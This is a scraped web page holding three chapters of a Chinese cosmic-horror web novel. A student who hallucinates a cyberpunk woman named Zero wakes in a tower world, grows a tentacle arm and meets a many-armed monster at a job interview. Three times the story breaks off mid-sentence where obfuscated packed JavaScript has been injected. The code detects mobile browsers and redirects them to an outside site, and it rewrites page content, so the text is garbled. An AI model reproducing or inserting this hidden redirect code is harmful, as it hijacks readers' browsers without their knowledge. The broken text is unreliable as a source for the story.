《别睡，会穿越［克系］》 1. 开局变异 “医生，我感觉我有病。” “我能看见一个别人看不见的人。” 温刃还是决定来医院看一下自己的心理问题。 只可惜，这个决定做的太过于匆忙，她没来得及挂上一个专家号。 面前是一个新来的医师，二十多岁，青年模样，戴着一个无框眼镜，五官立体，他姓谭。 谭医生推了推自己的眼镜，表情温和的问道：“你第一次见到幻觉是什么时候?” 温刃想了想，轻声说道：“是在七天前。” “七天前，她出现在我的课堂里，还是在python课上，她就站在我的身边，起初我以为她有什么事情要来找我。” “我很庆幸，那个时候刚好下课，同学们迫不及待想要去食堂抢饭。” “我亲眼见到，同学从她的身体里穿了过去。” “那个时候，我才意识到，其他人是看不到她的，只有我能看到。” 谭医生皱了皱眉，因为这事听起来太过于匪夷所思，他感觉自己不像是心理医生，更像是在讨论玄学：“她在你眼里很清晰吗？” 温刃点头：“是，很清晰，如果不是有人从她身上穿过去，我都以为她是cosplay社过来推销社团的学姐。” “起初，我怀疑，她是个鬼魂，但后来，我否定了那个想法。” 谭医生记录了什么，随后追问：“为什么这么想？有的人拥有特殊能力，可以看到那样的存在，这说不定不是心理问题。” 温刃没想到这个医生是个唯心主义：“因为，她穿着未来的衣服。” 未来的人，又怎么可能会死在现在，所以…… 温刃的视线透过谭医生，看向了他的身后。 谭医生的身后站着一个人。 那是一个女人，她像是cosplay一般有着一头湖水般清澈柔顺的长发，个子很高，大约有一米七五，比起温刃还要高了半个头。 她穿着一身贴身皮衣，后背用英文字母写着“Zero”的字母标志，衣服表面有许多一看就是高科技一般的芯片，颇有赛博朋克的气息。 这就是温刃一直以来看到的幻象。 她管那个幻象，叫作“Zero”。 现在，Zero就站在谭医生的身后。 谭医生顺着温刃的视线看过去。 那里什么都没有，只有一盆绿萝。 他收回目光，笑了笑：“那，你能听见她说话吗？” 温刃点了点头：“我可以跟她交流，她似乎就真的像是一个魂魄一样，跟在我身边。” 谭医生点了点头：“我看你的年纪，今年只有20岁，还在上大学吧？你准备考公还是考研？” 温刃想了想：“我准备考公。” 谭医生似乎明白了什么：“我给你开了几副药，那回去吃吧，先观察一下情况，如果有变化的话，立即来找我复查。” 温刃接过处方笺，起身离开。 她没有回头，所以她没有看到。 谭医生身后那盆绿萝，有一片叶子轻轻卷了起来。 像是被什么人，用手指拨了一下。 回到屋里时，才下午五点五十多。 外面天还亮着，温刃把药放在桌上，刚坐下来，就感觉眼睛快睁不开了。 不对。 她今天什么都没做，怎么会这么困？ 她强撑着看了一眼手机。 现在才17:58，距离六点还差两分钟。 Zero不知道什么时候凑到了她身边，低着头看她。 她轻声说：“晚安。” 温刃想说现在才六点，晚什么安。但她嘴已经张不开了。 她最后看到的，是Zero伸出手，轻轻盖住了她的眼睛。 只可惜，Zero碰不到她。 “小刃。” “记住，死亡会获得新生。” “但亦要支付代价。” * 温刃是被一阵机械音吵醒的。 “当前时间：高塔纪元372年，晨6:00，高塔内部供氧正常，生物体征监测中……” “检测完毕。” “一切正常。” 温刃赶紧睁开眼，心脏在胸腔里狂跳。 她听到了陌生的机械声音，第一反应觉得自己被绑架了，于是先观察周围的环境。 她住在校外，自己租房子住。 因为那是房东孩子的屋子，都没有翻新，低价出售，所以装修比较老土。 记忆里，卧室顶灯是盏老旧的HelloKitty造型，粉白色，边缘还磕掉了一块瓷，据说是房东的孩子拿芭比娃娃砸出来的坑。 可现在，天花板光秃秃的，只剩下一张铁板，不，准确来说，是一张光板，灯似乎和整个天花板完美融为了一体。 不对劲。 她撑起身子，看向四周。 房间里没有桌子柜子，没有床头的玩偶漫画，就连衣物跟床单的香味都没有了，看起来死气沉沉的。 温刃踉跄着下床，光脚冲到一面小镜子前。 镜里的人脸没变，眉眼清秀，左眼角的泪痣还在，可眼神里的惊慌骗不了人。 而她的身上，居然穿着和Zero一模一样的赛博风格紧身皮衣。 她捏了捏脸颊，脸很痛，这看起来并不像是梦。 所以，她穿越了？ “没想到穿越这种事也叫我碰上了。” 温刃喃喃自语。 她这是穿越到了某个赛博朋克世界？ “Zero？” 温刃试着呼喊了一圈，可是却并未见到Zero的身影。 难道穿越后，Zero就消失了？ 穿越还能治病吗？ 可她为什么穿着跟Zero一样的衣服？难道Zero是真实存在的？ 而且，她为什么一点穿越后的记忆都没有？ “难道是身穿？” 温刃扶住镜面稳住身子。 她转头看向窗边，几步走过去，窗帘自动打开。 刺眼的人造光涌进来，逼得她眯起眼睛。 等视线适应，她彻底僵在原地。 窗外是一座一眼望不到头的金属高塔内部，银黑色合金塔身中空，形成深不见底的圆柱形空洞。 无数个和她这间一模一样的卧室单元，像是蜂窝一样密密麻麻嵌在塔身内壁，一层叠一层。 她真的穿越了，穿到了一个似乎建在高塔里的世界。 她烦躁抓了抓头发，浑身乏力，刚想躺回床休息两下。 可双手撑向床沿后，才发现左手传来的触感不太对劲。 那只手软趴趴的，完全不像人类的手。 温刃心里咯噔一下，慢慢抬起左手。 这一看，饶是经常看恐怖电影，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493128|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点把她魂吓飞。 因为习惯使用右手，她居然没有发现，她的左手，居然是一坨触手！ 那触手表面覆盖着亮晶晶的黏液，滑腻腻反着光，上面布满茶杯盖大的吸盘，每个吸盘里，都嵌着一颗浑浊的眼珠子，还是红瞳。 那些眼珠正滴溜溜转动，齐刷刷地看向她。 这不是克苏鲁是啥？ 难道穿越来能附带变异吗？ 温刃想把那个东西甩掉，可触手就是她的左手，她的左手就是触手，除非斩断，否则根本无法改变。 不过，温刃总感觉自己在床底下踢到了什么，脚下也踩到了什么黏糊糊的液体。 不知为何，她总感觉四周氛围压抑了不少，空中也飘了一股若有若无的熟悉气息。 似乎，床底下藏了什么不得了的东西。 她咽了咽口水，犹豫一下，还是抬起脚，决定看看那个黏糊糊的东西是什么。 很快，她抬起了脚，也看清了脚底究竟是什么。 那是血。 是还有些温度的血。 温刃咽了咽口水。 她记得很清楚，下床的时候，床边什么都没有，地上是干净的。 现在，血正从床底缓缓淌出来。 温刃盯着那摊血，脑子里一片空白。 它还在往外渗，像有什么东西在床底下被压扁了，血没地方去，只能流出来找她。 脚底还是黏糊糊的。 她低头看了一眼，脚趾缝里全是暗红色的液体，还带着温度。 她刚才踩到的，就是血。 就在她站的地方。 也就是说，她下床的时候，床底下已经有什么东西了。 只是那时候还没开始流血。 是听到她的声音才开始流的吗？ 还是感觉到她在房间里，才开始流的？ 温刃想往后退，但腿发软。 她不知道自己在怕什么，明明她看了那么多恐怖电影，还是关灯看的，为什么真遇到了反而会恐慌呢？ 究竟是怕看到床底下的东西，还是怕看到之后，那个东西也知道她看到了。 她还是想看看。 好奇心让她低下头，看看床底下究竟是什么。 低头时，她闻到一股味道，那是铁锈味，太浓郁了。 黑暗里有什么东西反了一下光，是眼睛。 温刃的瞳孔骤然收缩。 那是一双睁着的眼睛，蓝色的，像湖水一样。 那个眼睛正看着她，眨也不眨。 第二眼，她看清了那张脸。 那是一张人的脸。 苍白的，毫无血色的，浸泡在暗红色液体里的脸。 温刃很久才意识到，那是一具尸体。 那是Zero的尸体。 她就那样蜷缩在床底，一头蓝发浸满暗红色的血。 她的嘴角还带着笑，像是死的时候心情还不错。 但那笑容不是对着别处的。 是对着床外的。 准确来说，是对着温刃的。 Zero的手伸向床外，指尖差一点就能碰到她的脚踝。 温刃急忙站起来，后退两步，离开床底。 但她不敢低头再看了。 因为她突然想到一个问题。 这里究竟是哪里？ Zero，为什么死在她的床下？ 2. 找工作 就在此时。 床下似乎发出了吱呀呀的声音，像是某种巨大的生物在磨牙。 温刃越听越怕，不断后退。 就像是叶公好龙那样，她虽然很喜欢看恐怖片，还喜欢关着灯看。 可她那是知道，恐怖片里面的东西都是不存在的，所以才一点不怕。 可现在不太一样，她来到了一个未知的世界，就连她自己，好像都是个怪物。 没过多久，那种恐怖的声音终于消失了。 床底下再度响起了声音。 “咕噜噜……” 那像是弹珠在地上滚动的声音，原本这环境就比现实世界要安静不少，就这点声音都听起来无比清晰。 很快，那个东西终于滚了出来。 那是一只眼睛，一只血红色的眼睛。 那只眼睛在地上滚了两圈，停了下来。 它看向温刃，瞳孔在收缩，虹膜在转动，像一个独立的生命体在打量这个世界。 然后它转过身，用它后面拖着的神经细长尾巴，像是小蛇一样重新钻进了床底。 温刃听到床底下传来一阵细微的声音。 像是有什么东西在撕扯，在咀嚼。 那种声音持续了大概十几秒就停了。 床底下再也没有任何动静。 那只眼睛又从床底滚了出来，但这次，它不一样了。 它比之前大了一圈，瞳孔深处有什么东西在流动，像是有液体在血管里奔涌。 它顺着温刃的裤腿爬了上来，爬上膝盖，爬上大腿，爬上腰，最后停在她左手的手背上。 几条蜘蛛一样的细腿从它背面长出，扎进温刃触手的吸盘里，钻了进去。 它变得和其他眼睛一样，跑进了触手的吸盘里。 但它的颜色却不一样，它的瞳色是漆黑的，是纯黑的，就像是僵尸一样，倒是有些恐怖氛围。 之后，那只触手居然消失了，她的手变回原来的样子了。 温刃也发现了一件更可怕的事情。 那就是地上的血迹全部消失了，包括她刚才慌张时踩出的血脚印，不仅如此，就连她脚底下黏糊糊的血迹都不见了。 她还是壮着胆子向床底下看去。 Zero的尸体不见了，就连血迹也消失了，就像是从来没有出现过一样。 只是，温刃却想到了什么，变体生寒。 难道，Zero的尸体被那只眼睛吃掉了？ 那Zero究竟是什么身份，为什么死在她的床下？ 温刃没有机会去探讨那些了。 因为，她的门外响起了一道敲门声。 “咚咚咚……” 温刃不敢开门，她刚才见识到了自己的诡异，这也证明，这个世界并不简单，她不知道门外究竟是什么，所以，绝对不能开门。 可下一秒。 钥匙开门的声音响起。 温刃：…… 门外走来一个青年，大约二十多岁模样，黑发黑眸，个子很高，身形稍瘦，却看起来活力满满。 温刃看到对方是人，甚至没有任何异变，这才松了一口气。 对方有原主身上的钥匙，应该是原主认识的人。 下一秒，那青年走过来，抓住温刃的肩膀狠狠摇晃：“温刃啊，我敲门那么久你怎么不开门呢？” “你都起床了怎么不开门叫我？” “你忘了吗，咱们今天要去面试啊！面试！还是执法官面试！” “你不是已经立志要找个好工作吗？” “这可是队长好不容易争取来的机会！” “咱们不能再当家里蹲了！” 温刃这才回过神来，执法官面试？ 她还正准备考公呢，没想到在异世界差点当上公务员了。 不错不错。 温刃来了一点动力，她不敢提触手跟Zero的事情，因为不确定这个世界究竟是怎样的，刚好跟着这个原住民出去看看。 “走吧，林焕。”她看到了青年手上的资料说，林焕手上的另一份资料就是她的。 她在这个世界也叫温刃，居然是个孤儿。 林焕没有什么异常反应，明显是叫这个名字。 两人很快打开门走到屋外，门牌号写着【44层44号门】 温刃：有点不吉利了哈。 出门的时候，他们还碰到了隔壁的大姨。 林焕笑嘻嘻打招呼：“早啊，赵阿姨，带浩浩上补课班去？” 赵阿姨身后是个安静的小男孩，大约十一二岁：“是啊，小林，哎呀，浩浩快给哥哥姐姐打招呼。” 叫作浩浩的小男孩腼腆点了点头：“林哥哥，温姐姐。” 林焕眨眨眼：“姨，今天我俩终于不用家里蹲了，我们已经找到工作了，到时候入职了给你送点开门红小礼物。” 赵阿姨看起来很高兴：“哎呦喂，我们林焕跟温刃终于出息了，去吧去吧，姨等着你们。” “话说今天小秦也不在家啊。”赵阿姨朝门内看了一眼。 林焕点点头：“队长他太忙了，毕竟是执法官嘛，总得上岗上线为大家服务。” 赵阿姨点点头：“有时间来我们家吃饭哈，别老让小秦做饭了，他一天够忙的。” 她摸了摸浩浩的头：“咱们浩浩也好好学习，以后当个伟大的执法官。” 两人很快跟那对邻居告别。 温刃庆幸有个原住民带她，还帮她跟别人打招呼，不然她还真不知道怎么离开这一片，因为这里真的跟迷宫一样绕。 他们获取了离开这里一层的权限，坐着一个立方体去了五十层。 放眼望去，这座塔足足有一百层，越到上面，住房面积越大，住户越少。 她看出来了，有钱人住在顶层。 不过，温刃发现这些原住民好像非特殊情况，不能离开自己原本的楼层，真是奇怪。 * 四十五层。 这里是一个叫做【执法者45层】像是铺面一样的地方。 进去却不小。 温刃跟着林焕，也不敢乱跑。 两人很快一起进了面试间，HR就坐在他们的对面。 林焕恭谨把简历放在桌上。 hr身上挂着牌子，他叫作周正明，是一个看起来还算精神的中年男子，穿着西装，胸口别着个徽章：“温刃，林焕，对吧？” 两人点点头。 周正明：“为什么想面试执法官，你们对于这一行，对于这个世界，对于人类的敌人，了解多少？” 林焕举手：“这个世界怪物横行，它们叫作丧诡，已经没了人类形态，是那些不幸的人变异的结果。” “所以，我们打不过，逐渐躲入塔内，就成了现在。” “但还有一些不幸的人，成为了丧诡，危害高塔，我们想要成为执法官，就是为了清除他们。” 温刃总感觉这个丧诡什么玩意的是在点她。 毕竟，她刚刚就变异了。 周正明点点头：“是，一旦幸福值跌破0，就会成为丧诡。” “但想要杀死他们，就必须成为异能者，这需要足够幸福才能觉醒。” “抬起你们的右手，查看你们的幸福值。” 温刃去看右手上一个像是手表一样的红色手环，上面有一块小小的电子屏幕。 好家伙。 幸福值：30。 这是不是有点太低了？ 简直是跟林焕差了一截。 等等，她刚才那种长出触手的状态，不会就是丧诡吧？ 可她为什么恢复了？ “不错，”周正明看了一眼林焕的手腕，满意地点点头，“52分，中上水平，有觉醒的潜力。” 然后他转向温刃。 “你的呢？” 温刃犹豫了一下，把手腕递过去。 反正只要不是负数，她就没犯事。 周正明的表情没有任何变化，只是点了点头：“30分，很危险，但还没到临界点。” “如果你低于十分，就要被我们关押观察了。” “好好干，多赚些钱，多享受生活，把幸福值提上来，你也有机会觉醒。” 温刃松了口气，享受生活？她也得有钱有命才能享受。 “那么，”周正明双手交叉放在桌上，表情变得严肃，“既然你们想当执法官，就要了解你们要面对的是什么。” “这些资料是不对普通人展示的，你们应该庆幸，因为秦队长，你们有这个机会。” 温刃疑惑。 队长？ 她是第二次听到这个称呼了。 队长是谁？ 周正明身后的电子屏幕闪烁，将他准备好的资料展示出来。 “丧诡，就是那些幸福值跌破0的人变异后的产物。” “它们没有理智，没有感情，只剩下本能。” 第一张照片上，是一个人形的轮廓，但他四肢扭曲成不自然的角度，像被拧过的毛巾。 “这是低级的丧诡的一种，被我们划分为E级，我们叫它【折肢】，它们行动缓慢，但力气很大，遇到的话，跑就行。” “普通人有武器的话，也能对付。” 温刃盯着那张照片，总觉得照片里的人形轮廓有点眼熟。 这不就是丧尸吗？ “第二类。” 周正明翻开第二张照片。 那是一个畸形的人形，模糊在阴影里，看不清人脸，浑身上下长满了手臂。 它从胸口、从后背、从腿、从脖子，从每一个你能想到的地方，都有手臂长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493129|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。 有些手指还在动，像是在抓空气，又像是在求救。 “这是丧诡，我们叫它【多臂】，它各种级别都有，手臂越多，级别越高，也越难对付。” “它的每一只手都能独立行动，遇到它，千万别被抓住。” “一旦被抓住，它会把你的手臂一根一根扯下来，装在自己身上。” “一旦接触，手臂就会掉下来。” 周正明翻到下一张照片，平静道：“你看，这只多臂身上有四条不同颜色的胳膊，就是从四个倒霉鬼身上借来的。” 温刃盯着照片上那些不属于同一个人的手臂，倒是没有什么恶心的情绪。 她之前不小心点开了猎奇电影解说，某蜈蚣都看过，这种更是一点都不怕了。 周正明打开第三张照片。 照片的人还保持着人类的轮廓，但皮肤表面布满了裂缝，每道裂缝里都有一只眼睛。 但它很大很大，旁边有一具人的尸骨，居然只跟它的一只眼睛一样大。 “这是千眼，是我们44号高塔出现过的最高级别的丧诡。” “它能通过裂缝里的眼睛看到很远的地方，也能用眼神控制人的行动，遇到它……” 周正明顿了顿。 “你们大概也跑不掉。” 温刃抬起头，看向周正明。 又是44。 她怎么穿越的地方这么不吉利。 44号高塔44层44号门。 好家伙，buff拉满了。 这是要预言她这波必死吗？ “当然，这些都不是最危险的。”周正明翻到最后一张照片，“最危险的，是那些连形态都保持不住的。” “要知道，越庞大，越不可理解，越证明它们的强大。” “这也证明，生前的他们越痛苦，越不幸福，才会诞生这样的怪物。” “而且，它们变得畸形，变得疯狂，以袭击人类，杀死并吞噬人类为乐趣。” “但是，你们要记住，想要杀死他们，就要异能者付出幸福，是根据他们的体型付出幸福值，安抚他们，超度它们，它们才会彻底死亡。” “否则，无论你们用武器砍他们，烧他们，他们也都会很快恢复原样。” “丧诡必须被幸福超度。” “所以，异能者的待遇才很高，因为他们不仅需要消耗幸福值来使用异能，也需要消耗幸福值来超度丧诡。” “根据丧诡的体型，执法部门将那些家伙划分了等级。” “F级，它们大多是比较内向的不幸者，所以丧诡化之后，会变得比人类还要小。” “E级，它们跟人类一样大，形态各种各样，能力也提高了一个层次。” “D级，只要在两米以上，十米以内，都属于这个范围。” “C级，10-50米，破坏力更高，它们有了和人类一样的独特异能。” “B级，50-100米，它们不仅有独特异能，那种异能甚至能范围性影响四周。” “A级，100米以上。” “S级，五百米以上，这往往需要很多异能者奉献自己的幸福，但可悲的是，普通人没有献出幸福的能力。” “只有A级跟S级，那太少见了，它们要是出现，塔都要塌了。” “如果你们加入执法队，最多也就是进入后勤。” “毕竟，你们还没有异能，要足够幸福，才能有异能诞生。” “但，后勤工资也不低，一个月一万贡献点。” “只是不比执法官那种一天几十万来的快罢了，因为人家执法官是拿命拼搏。” 温刃眼睛都亮了：这么多钱？ 她一直努力就是为了赚大钱。 如果成为执法官…… 不过那太危险了。 当后勤也不错，一个月毕竟一万多。 已经打破了月薪三千定律，不亏。 “好了，今天的面试就到这里，”周正明站起来，“结果会在三天后通知你们。” 他走到门口，拉开门，做了个“请”的手势。 林焕站起来，向门口走去。 温刃也站起来。 她走过周正明身边的时候，闻到了一股气味。 是血的味道，还很新鲜，她不久前还刚刚闻到，所以绝对不会忘记这个味道。 她回过头去，看到了周正明的笑脸。 大屏幕上还放着C级丧诡【多臂】的图片，周正明的身影好像跟那个家伙重合了。 她不敢看他的脸，准备低着头快步走了出去。 门在身后关上的瞬间，她终于意识到了什么。 周正明两只手都插在裤兜里，又是怎么举着手帮他们开门呢？ 除非……他有第三只手。 3. 多臂怪 走到远处时，温刃还惊魂未定，急忙拉住林焕的袖子，对他低声说道：“林焕，不对劲。” 林焕停下脚步：“怎么不对劲？” 他似乎想到了什么，眯起眼睛：“温刃，你真聪明。” “按理说队长给咱俩走后门了，我们不应该等通知，应该直接入职。” “这个周正明有问题，他肯定跟队长不对付。” “他不属于咱们执法部门，他是公司的人，据说前不久被一个富二代顶替了部长的工作，这才被调离到五十层当HR。” “他是不是讨厌咱们这种走后门的？” 温刃：…… 他就没发现问题吗？ 怪不得这个原住民没有发现她换了芯子，看来是个傻子。 温刃急忙说道：“周正明当时为我们开门，可我明明看见，他的两只手都插在兜里。” 林焕挑眉：“义肢呗，有人有这个癖好。” 他反应过来：“不对啊，他两只手都揣兜里了，那他哪来的手开门？” 温刃：“所以……” 林焕意识到了不对：“所以他用脚开的门。” 温刃真没忍住，给了林焕脑壳一巴掌：“蠢货，说明他有三只手！” 林焕笑了一下，反应过来，严肃起来：“等等，那他不是正常人，他是【多臂】丧诡？” 温刃这才对他的反应满意一点：“嗯，可惜我刚刚没注意到他的幸福值，不知道是不是负数。” 林焕觉得很奇怪：“按理说多臂是C级，个头应该很大，他为什么还没我高？” 温刃看着190起步的林焕：…… 但是，林焕的疑惑是对的。 资料显示，多臂这种级别的丧诡，都是在十米以上的。 可周正明却没有林焕高，他真的是丧诡吗？ 还是说，她又出现幻觉了？ 话说这座塔每一层的空间很大，一层差不多就有百米多高。 温刃第一次站在室内没有压抑的感觉，但这并没有让她安心。 太宽敞了。 宽敞到如果有什么东西站在走廊的另一头，她至少要跑十几秒才能到门口。 宽敞到如果那个东西追上来，她连躲的地方都没有。 那整座塔该有多高？ 上千米？ 林焕还算聪明一点，拿出盒子一样的通讯器：“我先联系队长，他有异能，绝对能解决这里的事情。” 温刃点点头，但也偷偷看了眼林焕是怎么使用通讯器的。 这地方她帮不上忙，毕竟没有关于这个世界的记忆。 但，她没想到那个所谓的队长居然有异能，看来是条大腿。 通讯器滴了两声，屏幕很快暗淡下去。 林焕面色凝重：“通讯器被屏蔽了，联系不上外界。” “我们被困在这里了。” 温刃心脏狂跳。 不会吧？ 她这么倒霉，难道刚穿越过来就遇到了难以解决的怪物，就要领盒饭了吗？ 温刃迅速冷静下来，她还不能死，她还有太多事情没有搞清楚：“先出去，不能留在这里了。” 林焕这次没有说什么雷霆发言，而是乖乖跟在温刃身旁。 只是他们来到门口，却发现这里的门已经关上了，无论怎么也打不开。 门口站着两个跟他们一起来的求职者，也是一男一女。 那个男生说道：“这门怎么打不开了？我记得来的时候不是这样的。” 那女生说道：“我也记得不是这样，而且，我的通讯器没有信号了。” 男生皱起眉头：“不对劲，我们恐怕遇到丧诡了。” “只要这种东西出现，周围的信号就会被影响，该死的，但是这门怎么打不开啊？” 男生用脚去踹，却怎么也踹不动。 女主见状也没闲着，抄起地上的椅子去砸窗户，半天也砸不开。 温刃跟林焕对视一眼。 林焕说道：“这窗户都是特制的，也就是队长身上的能源枪才能打破，其他的武器，都做不到。” “这门也是，都是特制的，普通人的力量绝对无法打开。” 看来是很难跑出去了。 就在这时。 走来一个穿着制服的小姐姐，她走路速度很快，走起路来也像是飘着的，完全没有声音。 倒是有点惊悚。 温刃没记错的话，她就是接待大家，带着大家去面试的小助理。 小助理见两人胡乱打砸，急忙说道：“二位不能这么做，这些都是公共设施，损坏了你们要赔钱的，还不便宜。” 那两人这才停了下来，他们相互对视一眼。 年轻男子率先说道：“你们这里通讯阻断，明显是有丧诡出没。” “但我们两个只是普通人，我们来面试执法官，还没觉醒异能，并不能解决丧诡。” “快告诉我，这里有没有异能者？” 小助理听到这话，面色震惊：“什么，通讯器无法使用了吗？” 她急忙拿出了身上的通讯器，操作一番之后，确实发现这里已经没了信号。 这时候，小助理脸色也变了：“真的没有信号。” 这里的每个人都做过安全教育。 高塔里一般是不会有没有信号的地方，如果有，那也证明那个地方是出现了丧诡。 丧诡体质特殊，身上似乎带着一股奇怪磁场，可以屏蔽所有信号。 小助理很快相信了两人的话：“跟我来，这里只剩下了一个异能者，去找他庇护的话，我们或许能活下来。” 她注意到了这边的温刃跟林焕。 小助理挥了挥手：“你们也过来吧。” 那俩年轻人也才注意到这边还多了两个人。 他们注意到是一起进来的林焕跟温刃后，也似乎松了一气。 毕竟大家是一块来的，一块都被困在这里，心里看起来也能好受点。 小助理很快带着几人走进了一间会议室。 这地方看起来并不是很大，倒是空气有些不太流通。 那年轻男女看起来放松了不少。 那个女子随口问道：“话说那个异能者是谁呀？什么时候赶过来。” 小助理微微一笑：“我刚才联系他了，他一会就会赶过来。” “你们放心，咱们暂时不开门就没有事，这里的门质量很好，不开门，那些家伙就进不来。” “这里有点茶水，你们先喝一杯。” 小助理拿起茶壶，给每个人倒了一杯。 茶水满出来了。 她还在倒。 茶水顺着杯子流到桌上，滴到地上，她像没看见一样。 “满了。”温刃说。 小助理停下来，低头看了一眼满桌的茶水：“哎呀，我太害怕了，没注意到，我也是第一次遇见丧诡，按理说普通人一辈子估计都遇不上……” 那个年轻男子摆摆手：“算了，刚好我渴了，谢谢你。” 他举起来就喝了一口，他一紧张就想喝水。 温刃却眯起眼睛：“话说，通讯器不是坏了吗？你怎么联系的？” 不是有丧诡在，通讯器不就是瘫痪了吗？ 她知道自己没有记忆，不该问出这个问题。 万一这些通讯器可以短距离联络呢？ 但她还是得问出来，不由容忍任何的细节被放过。 否则，她可能死。 那个小助理先愣了一瞬间，随后微笑着说道，那笑容倒是看起来有点熟悉：“通讯器确实用不了，但是我们跟那位异能者之间，是可以有特殊联络方式的。” 她拿出身上的名牌：“只要触碰这个，代表出现了紧急时刻，他就会很快赶过来。” 温刃点点头，没再多问。 可是就在这时，窗户的玻璃处，却出现了一道身影。 是周正明。 他站在窗口，眼神直愣愣看向里面，还是面带笑容。 林焕拉了拉温刃的袖口，小声说道：“周正明来了。” 他可没忘记温刃说的话。 周正明不对劲，他有三只手，恐怕他就是那只影响信号的丧诡。 “看到了。”温刃说道。 这可不是一个好的信号。 林焕问：“可周正明没看起来没有不对啊。” 温刃恨不得给他脑门再来一下：“你刚才经过那扇窗户的时候，还记得是什么样子吗？” 林焕很认真看了遍，摇了摇头：“它不一直是那个样吗？难道窗户发生了某种变化吗？” 温刃给他脑门来了一下：“你那么高的个子，刚才经过窗户的时候都没窗户高。” “周正明不是没你高吗？他的头又是怎么出现在窗户里的？” 林焕这才意识到不对劲。 是啊。 周正明的头要是出现在了窗户里，证明，他已经比林焕高了。 温刃刚才就觉得哪里不对，周正明站着的位置，窗户的下沿只到他的腰部。 这扇窗户有两米高，如果下沿只到腰部，那他现在的身高至少有两米五。 可面试的时候，他明明只比温刃高一点点。 “他在长高。”温刃说。 林焕愣了一下：“什么叫在长高？他都一把年纪了，怎么会长高？” 他话音一顿。 因为周正明的肩膀又往上顶了一截，衣服被撑开了一道口子。 从裂开的衣缝里，有什么东西在往外挤。 那些都是手臂。 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493130|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刃盯着窗户，只觉得san值狂掉。 一只、两只、三只…… 她数不清了。 那些手臂从周正明的各个地方冒出来，有些手指还在动，像是弹钢琴一样到处乱敲，有的指甲很长，有的已经没了指甲。 林焕看着窗外那个已经快撑到天花板的黑影，瞪大双眼。 “他不是正常人了。”温刃说。 旁边那对年轻男女似乎也发现了不对劲，聚集在一起，低声议论着什么。 可小助理像是没发现不对劲一样，惊喜跑过去。 她跑的很快，完全是趁着众人没有反应过来，直接就走到了门口，一把拉开了大门。 林焕直接吓得站了起来：“不是，你在干嘛啊？开门干什么？” 小助理一脸无辜：“周先生就是那位异能者呀。” “他不进来，怎么解决丧诡呢？” 温刃却头皮发麻。 因为她发现，小助理跟周正明一样，都是双手插兜。 她又是用哪只手开门的？ 周正明走了进来。 可他太大了。 门口的宽度根本容不下他，但那些手臂像液体一样挤进来…… 一根，接着一根，一根又一根，直接塞满了整个门框。 手臂与手臂之间还发出“咕叽咕叽”的交错声，像是腐烂带有浓汤的肉汁在浇灌，甚至……还有脓包破裂的声音。 那些手臂的手指长短不一。 有的指甲整齐，有的指甲外翻露出粉色的甲床，有的根本没有指甲，指尖是一团发白的瘢痕组织，甚至，还有几只长着腐烂尸斑的手。 有些手指在痉挛，有些弯曲成诡异的角度，关节反折，还有些一动不动，僵硬指向屋子里的不同方向。 周正明还是那个头，还在僵硬假笑，但脖子以下已经没有人的部分了，只剩下了密密麻麻树根一样的手臂。 但那颗头已经不像长在这些手臂上了。 它更像是被架在上面，像一个被举着的人偶头颅。 那些手把他撑得很高，高到他的头快要到天花板，想他看起来像是个手臂圣诞树。 要知道，这屋子的天花板可不低。 保守估计，有十米。 屋子十米高的天花板，他的头顶已经快要碰到了。 小助理站在原地。 周正明扭曲着走到她面前，低头看着她。 “您来了。”小助理乐呵呵说。 温刃意识到了，这个小助理一开始就是不正常的，她也是丧诡！ 所以，她才跟周正明一样，要双手插兜，因为他们要隐藏手环上的数据，隐藏手环上的负数！ 这里有两只丧诡！ 周正明的一只手伸过来，那只手是从他的“腰间”缝隙里伸出来的，它比其他的手都要长，指节也更多。 它的手轻轻搭在小助理的肩膀上。 小助理的身体开始扭动，她后背鼓起一个包，包在几秒内膨胀并不断变大，像是一个腐烂发臭的脓包。 一只手的模糊轮廓自包里贴着，用尖锐的指甲划开脓包的表皮，将脓包划开一道口子。 裂口里先渗出一层透明的组织液，然后一只比正常人大一圈的手从她的脊背里伸出来，粘兮兮的，表面裹着一层黏液，它在空气中缓慢地张开五指。 那只手的手指动了一下，开始疯狂向外爬，也带出一节手臂。 她的肋骨位置又鼓起几个包，左右都有，裂口像嘴巴一样张开，又合上，每次张开就有一只新的手臂从里面挤出来。 加上小助理原本的手，它现在已经拥有了六条胳膊了，还有两条从它的腰侧伸出来，抱住了它自己的腰，像是另一个人在从背后拥抱。 温刃想后退，但腿已经不听使唤了，她感受到了原始的恐惧。 不知是被这场面吓的，还是被周正明身上的味道臭到了，她现在特别想吐。 